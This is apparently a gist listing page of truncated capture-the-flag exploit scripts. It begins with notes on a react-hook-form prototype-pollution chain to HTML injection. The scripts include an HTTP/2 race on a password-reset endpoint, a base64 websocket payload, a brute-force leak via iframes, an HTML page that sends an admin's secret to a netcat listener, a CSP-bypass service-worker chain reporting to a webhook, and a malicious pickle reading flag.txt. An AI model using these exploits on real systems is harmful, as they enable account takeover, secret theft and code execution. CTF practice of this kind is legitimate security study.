-
vulnerable version of react-hook-form (v7.51.4) used which allows for prototype pollution (
/transfer?message.__proto__.x=1
) -
pollute
defaultProps
React gadget to put arbitrary attributes on elements (https://cor.team/posts/redpwnctf-2021-web-challenges/#mdbin:~:text=defaultProps) -
pollute
__proto__.defaultProps.dangerouslySetInnerHTML.__html
to HTML payload, pollute__proto__.cache=only-if-cached
to make the fetch fail so the page doesn't change afterwards. now, when we submit the transfer (&autosubmit=1
), we see our HTML loaded. -
now that we have arbitrary HTML injection, there's still not much we can do. if we could leak the admin's transfer token, we could steal all of their balance. but that page only loads via fetch. but since we have HTML injection, we can try the modernblog exploit path and load another nextjs app inside of the nextjs app, in an iframe srcdoc.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(async () => { | |
document.head.innerHTML += ` | |
<form data-dicepass-username='x'> | |
<input name=value></input> | |
<input data-dicepass-password='x'> | |
</form> | |
`; | |
await new Promise(r => setTimeout(r, 1000)); | |
const extensionId = await window.dicepass.extensionId; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// first send this, then send the whole script | |
// process.kill(process.ppid, "SIGUSR1") | |
const fs = require("fs"); | |
const wsPayload = `KCgpPT57dmFyIF9fd2VicGFja19tb2R1bGVzX189ezI5NihlLHQscyl7InVzZSBzdHJpY3QiO2xldCBpPXMoODEpO2kuY3JlYXRlV2ViU29ja2V0U3RyZWFtPXMoMjUpLGkuU2VydmVyPXMoMTQzKSxpLlJlY2VpdmVyPXMoMzE1KSxpLlNlbmRlcj1zKDY3NSksaS5XZWJTb2NrZXQ9aSxpLldlYlNvY2tldFNlcnZlcj1pLlNlcnZlcixlLmV4cG9ydHM9aX0sNzI4KGUsdCxzKXsidXNlIHN0cmljdCI7bGV0e0VNUFRZX0JVRkZFUjppfT1zKDc0Mikscj1CdWZmZXJbU3ltYm9sLnNwZWNpZXNdO2Z1bmN0aW9uIG8oZSx0KXtpZigwPT09ZS5sZW5ndGgpcmV0dXJuIGk7aWYoMT09PWUubGVuZ3RoKXJldHVybiBlWzBdO2xldCBzPUJ1ZmZlci5hbGxvY1Vuc2FmZSh0KSxvPTA7Zm9yKGxldCBuPTA7bjxlLmxlbmd0aDtuKyspe2xldCBhPWVbbl07cy5zZXQoYSxvKSxvKz1hLmxlbmd0aH1yZXR1cm4gbzx0P25ldyByKHMuYnVmZmVyLHMuYnl0ZU9mZnNldCxvKTpzfWZ1bmN0aW9uIG4oZSx0LHMsaSxyKXtmb3IobGV0IG89MDtvPHI7bysrKXNbaStvXT1lW29dXnRbMyZvXX1mdW5jdGlvbiBhKGUsdCl7Zm9yKGxldCBzPTA7czxlLmxlbmd0aDtzKyspZVtzXV49dFszJnNdfWZ1bmN0aW9uIGgoZSl7cmV0dXJuIGUubGVuZ3RoPT09ZS5idWZmZXIuYnl0ZUxlbmd0aD9lLmJ1ZmZlcjplLmJ1Z |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// http2 muxer to race reset passcode | |
const http2 = require('http2'); | |
process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0; | |
const clientSession = http2.connect(process.argv[2]); | |
for (let i = 0; i < 5; i++) { | |
const r = clientSession.request({ | |
":method": "POST", | |
":path": "/api/request-reset", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<iframe src="https://challenge-0922.intigriti.io/challenge/index.php" style="width:100vw; height: 100vh"></iframe> | |
<script> | |
document.querySelector("iframe").onload = () => { | |
document.querySelector("iframe").contentWindow.frames[0].location = URL.createObjectURL(new Blob([` | |
<script> | |
(async () => { | |
let alphabet = "0123456789abcdef".split(""); | |
let known = ""; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const js2xmlparser = require('js2xmlparser'); | |
const fs = require('fs'); | |
const tmp = require('tmp'); | |
const rimraf = require('rimraf'); | |
const child_process = require('child_process'); | |
function createFont(prefix, name, charsToLigature) { | |
let font = { | |
"defs": { | |
"font": { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1>yo</h1> | |
<script> | |
/* | |
modify the webrtc host and ip to somewhere you have a netcat listener. | |
send this html file to the admin, and then you should receive the secret wrapped in ZZZZZZs | |
then send !secret <secret> and observe network requests for your flag! | |
*/ | |
const SITE = "https://msgme.be.ax"; | |
let webrtc_host = "IP"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
<!-- | |
make two pages, one with the meta tag, and the other with the form tag csp bypass | |
set eval post id to the id of the meta tag | |
at window.name at the bottom, run stage1 first. | |
send the post that has the meta redirect to the admin | |
this sends the file id of the service worker to a webhook, which you can then set as service worker file id. | |
then, change it to run stage2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pickle | |
import base64 | |
import pickletools | |
# basically, modify the pickle given to us by the challenge to include a note that comes from getattr(open("flag.txt"), "read")() | |
payload = b'ccopy_reg\n_reconstructor\np0\n(c__main__\nNotes\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVname\np6\nVMy notes\np7\nsVnotes\np8\n(lp9\nc__builtin__\ngetattr\n(c__builtin__\nopen\n(Vflag.txt\ntRp10\nVread\ntR)Rp11\nasb.' | |
# pickletools.dis(payload) | |
''' | |
0: c GLOBAL 'copy_reg _reconstructor' |
NewerOlder